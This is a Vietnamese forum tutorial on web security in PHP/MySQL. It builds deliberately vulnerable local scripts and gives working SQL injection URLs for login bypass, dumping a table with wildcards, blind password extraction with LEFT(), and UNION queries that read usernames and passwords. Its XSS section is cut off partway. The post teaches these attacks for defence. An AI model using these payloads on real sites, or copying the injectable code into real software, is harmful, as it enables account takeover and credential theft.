Bạn có muốn phản ứng với tin nhắn này? Vui lòng đăng ký diễn đàn trong một vài cú nhấp chuột hoặc đăng nhập để tiếp tục.


Diễn Đàn Tổng hợp
 
Trang ChínhLatest imagesTìm kiếmĐăng kýĐăng Nhập

 

 Tìm hiểu và chống lỗi bảo mật trong ứng dụng web

Go down 
Tác giảThông điệp
Admin
Admin
Admin


Tổng số bài gửi : 139
Registration date : 25/02/2009

Tìm hiểu và chống lỗi bảo mật trong ứng dụng web Empty
Bài gửiTiêu đề: Tìm hiểu và chống lỗi bảo mật trong ứng dụng web   Tìm hiểu và chống lỗi bảo mật trong ứng dụng web Icon_minitimeFri Feb 27, 2009 4:45 am

=== Lời mở đầu ===
Những năm gần đây, bộ đôi PHP & MySQL ngày càng chiếm lĩnh được cảm tình của những nhà phát triển web. Hơn 95% các ứng dụng web viết bằng PHP đều có dùng MySQL. Đặc biệt hơn cả, thời kỳ phát triển của web 2.0, bộ đôi này lại càng được đánh giá cao hơn. Ta có thể kể ra những web 2.0 tiêu biểu sử dụng bộ đôi này như: Flickr, Facebook, Wikipedia, Digg, Yahoo... và rất nhiều các ứng dụng web 2.0 lớn nhỏ. Một đế chế mới được hình thành, đó là '''LAMP'''. Đi kèm với sự phát triển đó là vấn đề bảo mật trong các ứng dụng web. Trong bài viết này, tôi sẽ nêu chi tiết các lỗi bảo mật và cách phòng chống chúng.

=== [http://en.wikipedia.org/wiki/Cross-site_scripting XSS – Cũ mà mà không cũ] ===
XSS là một lỗi không mới, nhưng đến thời web 2.0, các ứng dụng ngày càng dùng Client Script nhiều hơn, điển hình là Javascript thì người ta lại nhắc đến nó nhiều hơn lúc nào hết. Nói đến nó là người ta thường nói đến Javascript Malware, Web Worm. Các website “nổi” ở thời web 2.0 đều đã gặp phải như '''Youtube, Myspace, Xanga, Digg và kể cả Google, Yahoo'''.

Điểm mấu chốt ở lỗi XSS là sự thực thi trái phép Javascript trên website, ngoài ra lỗi này còn có thể dính ở Flash. Mục tiêu cuối cùng của kẻ muốn lợi dụng lỗi này là đánh cắp cookie (thông tin của người dùng), giải mạo một nội dung nào đó để đánh lừa người dùng. Lỗi này được đánh giá là rất nguy hiểm và luôn nằm trong top các lỗi bảo mật được thống kê hàng năm. Sau đây, chúng ta sẽ làm thử một ví dụ nhỏ về lỗi XSS để tìm hiểu nó:

Lưu ý: Để chạy các ví dụ, bạn phải cấu hình '''magic_quotes_gpc''' trong '''php.ini''' là '''off'''

Tạo một file '''test-xss.php''' có nội dung như sau:

PHP Code:
<form action="" method="post">
Với cách trên, chúng ta dùng hàm header trong PHP để tạo cookie, nhưng kể từ phiên bản '''PHP 5.2''', hàm setcookie đã hỗ trợ HttpOnly (php.net/setcookie)

Tóm lại, các giải pháp phòng chống không phải là đã an toàn 100%. Tốt nhất bạn hãy kiểm tra tốt phần nhận dữ liệu từ người dùng, hạn chế lưu những thông tin nhạy cảm của người dùng bằng cookie. Nếu site bạn không dùng cookie thì cũng nên chống XSS để tránh trường hợp tạo trang giả mạo, thay đổi nội dung trang để đánh lừa người dùng.
=== SQL Injection – Nguy hiểm luôn rình rập ===
Trong phần này, tôi chỉ bàn đến lỗi trong MySQL khi sử dụng với PHP. Đây là lỗi bảo mật nguy hiểm chỉ đứng sau XSS về số lượng lỗi bị khai thác.

Để thuận thiện cho quá trình tìm hiểu và phân tích, chúng ta sẽ tạo một database với tên testsql001
và sử dụng kết hợp Command để quản trị MySQL

PHP Code:
CREATE DATABASE testsql001;

[[Image:BMLAMP_MySQL_001.gif]]
Sau đây là các lỗi có thể bị khai thác:
'''* Đăng nhập tài khoản trái phép:'''
Bạn hãy import SQL sau vào database tên là '''testsql001'''

PHP Code:
CREATE TABLE `user` (
`id` int(10) NOT NULL auto_increment,
`name` varchar(128) NOT NULL default '',
`pass` varchar(128) NOT NULL default '',
PRIMARY KEY (`id`)
) TYPE=MyISAM;

INSERT INTO `user` VALUES (1, 'admin', 'adminpass');
INSERT INTO `user` VALUES (2, 'user', 'userpass');

Tiếp tục tạo script PHP như sau:
'''testsql.php'''

PHP Code:
<?php
if(isset($_GET['name']) || isset($_GET['pass'])) {
$dbserver = "localhost";
$dbuser = "root";
$dbpw = "";
$dbname = "testsql001";

mysql_connect($dbserver,$dbuser,$dbpw) OR die ('Could not connect: '.mysql_error());
mysql_select_db($dbname) OR die('Could not select database');

$query = "SELECT * FROM user WHERE name='{$_GET['name']}' AND pass='{$_GET['pass']}'";

$result = mysql_query($query)/* OR die('Query failed: ' . mysql_error())*/;
$user = mysql_fetch_assoc($result);

if (isset($user) && !empty($user))
{
echo 'Welcome : '.$user['name'];
} else {
echo 'Wrong!!!';
}

echo '<p>Debug Query:<br /><b>'.$query.'</b><p>';
} else {
echo 'Welcome Guest';
}
<u>Vì lý do bảo mật, bạn hãy thay '''RO''' thành '''OR''' và '''[''' thành dấu nháy '''(')''' trong các câu lệnh SQL</u>

Thử vào trang với URL:
<pre>
URL 1 : http://localhost/SECURITY/testsql.php?name=admin[ RO [1=1 <= hợp lệ
URL 2 : http://localhost/SECURITY/testsql.php?name=admin[ RO 1=1--[ <= hợp lệ
URL 3 : http://localhost/SECURITY/testsql.php?name=admin[ RO 1=1 <= không hợp lệ
</pre>
Lúc này query sẽ là:
<pre>
URL 1 : SELECT * FROM user WHERE name='admin' RO [1=1[ AND pass=[[
URL 2 : SELECT * FROM user WHERE name='admin' RO 1=1--[[ AND pass=[[
URL 3 : SELECT * FROM user WHERE name='admin' RO 1=1[ AND pass=[[
</pre>
Khi có biểu thức 1=1 hoặc -- thì các cậu lệnh SQL phía sau (AND pass=) xem như không có tác dụng. Khi đó, trang sẽ hiện ra:
<pre>
http://localhost/SECURITY/testsql.php?name=admin[ RO [1=1&pass=123
</pre>
[[Image:BMLAMP_MySQL_002.jpg]]
<pre>
http://localhost/SECURITY/testsql.php?name=admin[/* <= hợp lệ
http://localhost/SECURITY/testsql.php?name=admin[# <= không hợp lệ
http://localhost/SECURITY/testsql.php?name=admin[%23 <= hợp lệ
</pre>
[[Image:BMLAMP_MySQL_003.jpg]]
Đây là những kí tự để chú thích cho câu lệnh SQL, vì vậy, phần SQL phía sau đó xem như không có tác dụng. Đấy thăng # ở đây không hợp lệ vì nó dùng để trỏ tới một anchor trên trang chứ không được gửi tới query, '''%23''' là mã hóa của #, nó hợp lệ để gửi đi.
[[Image:BMLAMP_MySQL_004.jpg]]
'''Như vậy, hacker có thể đăng nhập hợp pháp với bất cứ tài khoản nào có trong CSDL mà không cần biết mật khẩu.'''
test-search.php

PHP Code:
<?php
set_magic_quotes_runtime(FALSE);
if(isset($_GET['kw'])) {
$dbserver = "localhost";
$dbuser = "root";
$dbpw = "";
$dbname = "testsql001";
mysql_connect($dbserver,$dbuser,$dbpw) OR die ('Could not connect: '.mysql_error());
mysql_select_db($dbname) OR die('Could not select database');
$query = "SELECT * FROM user WHERE name LIKE '%{$_GET['kw']}%' OR pass LIKE '%{$_GET['kw']}%'";
$result = mysql_query($query)/* OR die('Query failed: ' . mysql_error())*/;

while($s = mysql_fetch_assoc($result)) {
$r[] = $s;
}
if (isset($r) && !empty($r)) {
foreach($r as $rs) {
echo $rs['name'].' - '.$rs['pass'].'<br />';
}
} else {
echo 'Not found!!!';
}
echo '<p>Keyword: '.$_GET['kw'].'<br />Debug Query: <b>'.$query.'</b><p>';
} else {
echo 'Search me!';
}
Khi ta cho từ khóa (kw) là % và _ thì tất cả dữ liệu trong bảng user sẽ được hiển thị
<pre>
http://localhost/SECURITY/test-search.php?kw=% <= tất cả
http://localhost/SECURITY/test-search.php?kw=_ <= tất cả
http://localhost/SECURITY/test-search.php?kw=admin <= admin - adminpass
</pre>
[[Image:BMLAMP_MySQL_005.jpg]]
Nếu dữ liệu nhiều, hacker có thể gửi liên tục URL này, rất có thể server của bạn sẽ quá tải.

* Blind SQL Injection:
Sửa $query trong '''testsql.php''' thành:
<pre>$query = "SELECT * FROM user WHERE name='{$_GET['name']}'";</pre>
Kỹ thuật này là cách dò tìm dựa vào các lỗi SQL Injection và so sánh giá trị trong SQL. Sau đây ra sẽ thử dò xem mật khẩu của tài khoản admin là gì. Đầu tiên sẽ tìm độ dài của mật khẩu bằng hàm LENGTH của MySQL
URL:
<pre>
http://localhost/SECURITY/testsql.php?name=admin[ and LENGTH(pass)=[4 <= Sai
http://localhost/SECURITY/testsql.php?name=admin[ and LENGTH(pass)=[6 <= Sai
http://localhost/SECURITY/testsql.php?name=admin[ and LENGTH(pass)=[9 <= Đúng
</pre>
[[Image:BMLAMP_MySQL_006.jpg]]
Như vậy mật khẩu dài 9 kí tự, tiếp theo sẽ dò từng kí tự trong mật khẩu, MySQL hỗ trợ các hàm: '''LEFT, RIGHT và MID''' (dev.mysql.com/doc/refman/5.0/en/string-functions.html) để tìm vị trí của kí tự trong chuỗi nào đó.

Tìm kí tự đầu tiên, tham số thứ 2 trong hàm LEFT là độ dài kí tự muốn lấy ra:
<pre>
http://localhost/SECURITY/testsql.php?name=admin[%20and%20LEFT(pass,1)=[p <= Sai
http://localhost/SECURITY/testsql.php?name=admin[%20and%20LEFT(pass,1)=[a <= Đúng
</pre>
[[Image:BMLAMP_MySQL_007.jpg]]
Tiếp tục tìm kí tự thứ hai trong mật khẩu, ta đã biết được kí tự đầu tiên là "a":
<pre>
http://localhost/SECURITY/testsql.php?name=admin[%20and%20LEFT(pass,2)=[ad
</pre>
Tương tự cho đến 9 kí tự:
<pre>
http://localhost/SECURITY/testsql.php?name=admin[%20and%20LEFT(pass,9)=[adminpass
</pre>
[[Image:BMLAMP_MySQL_008.jpg]]
[[Image:BMLAMP_MySQL_009.jpg]]
Như vậy, hacker đã biết được chính xác mật khẩu của tài khoản admin. Các hacker thường viết ra công cụ tự dò tìm, tốc độ rất nhanh, vì vậy bạn đừng nghĩ rằng cách này tốn thời gian vô ích!

* Sử dụng câu lệnh gộp (UNION Query):
Đấy là cách SQL Injection khá thông dụng cho ASP và MSSQL, đối với MySQL cũng có thể bị khai thác tương tự. Đây là lỗi SQL Injection thường được khai thác nhất vì hiệu quả cao.

Chạy SQL sau để tạo bảng '''post''':

PHP Code:
CREATE TABLE `post` (
`id` INT( 10 ) UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY ,
`title` TEXT NOT NULL ,
`text` TEXT NOT NULL
) ENGINE = MYISAM;

INSERT INTO `testsql001`.`post` VALUES (NULL , 'Bai viet 1', 'Noi dung bai viet 1'), (NULL , 'Bai viet 2', 'Noi dung bai viet 2');

Tạo file '''union.php''' như sau:

PHP Code:
set_magic_quotes_runtime(FALSE);
if(isset($_GET['id'])) {
$dbserver = "localhost";
$dbuser = "root";
$dbpw = "";
$dbname = "testsql001";

mysql_connect($dbserver,$dbuser,$dbpw) or die ('Could not connect: '.mysql_error());
mysql_select_db($dbname) or die('Could not select database');

$query = "SELECT * FROM post WHERE id='{$_GET['id']}'";

$result = mysql_query($query)/* or die('Query failed: ' . mysql_error())*/;
$post = mysql_fetch_assoc($result);

if (isset($post) && !empty($post))
{
echo 'Title : <b>'.$post['title'].'</b><br />';
echo 'Text : '.$post['text'].'<br />';
} else {
echo 'Wrong!!!';
}

echo '<p>Post ID: '.$_GET['id'].'<br />Debug Query: <b>'.$query.'</b><p>';
} else {
echo 'Post list';
}

Sau đó, ta chạy thử với URL như sau:
<pre>
URL: http://localhost/SECURITY/union.php?id=1' union select 1,name,pass from user %23'
Query: SELECT * FROM post WHERE id='1' union select 1,name,pass from user #''
</pre>
[[Image::BMLAMP_MySQL_010.jpg]]
Chưa có gì đặc biệt, ta thử trong Command xem sao:
[[Image::BMLAMP_MySQL_011.jpg]]
Kết quả ta thấy câu lênh lấy ra được 3 rows, nhưng vì trong mã PHP, ta chỉ lấy một kết quả đầu tiên. Ta thử sửa lại mã như sau:

PHP Code:
//...
while($post = mysql_fetch_assoc($result)) {
echo 'Title : <b>'.$post['title'].'</b><br />';
echo 'Text : '.$post['text'].'<br />';
}
//...
Về Đầu Trang Go down
https://ytuong.forumvi.com
 
Tìm hiểu và chống lỗi bảo mật trong ứng dụng web
Về Đầu Trang 
Trang 1 trong tổng số 1 trang
 Similar topics
-
» Tìm hiểu và chống lỗi bảo mật trong ứng dụng web (Phan 2)
» Hiệu ứng làm nền web trông như Vũ Trụ
» Cách Ép Thành Công Thẻ Uniform +8,+9,+10 Trong FiFa Online 2 Hiện tại bản cập nhật 1081 vẫn còn một số lỗ hỏng trong hệ thống nên việc đột nhập vào các lỗ hỏng đó vẫn được một số hacker lợi dụng. Sau đây là một mẹo nhỏ giúp các bạn thành công trong việc n
» Hướng dẫn sử dụng một số loại súng trong CrossFire
»  Tổng Hợp Auto Phong Thần ,chống KeyLog và cách sử dụng Auto Click 2.2

Permissions in this forum:Bạn không có quyền trả lời bài viết
 :: Phần mềm :: Phần mềm đồ họa, thiết kế, lập trình-
Chuyển đến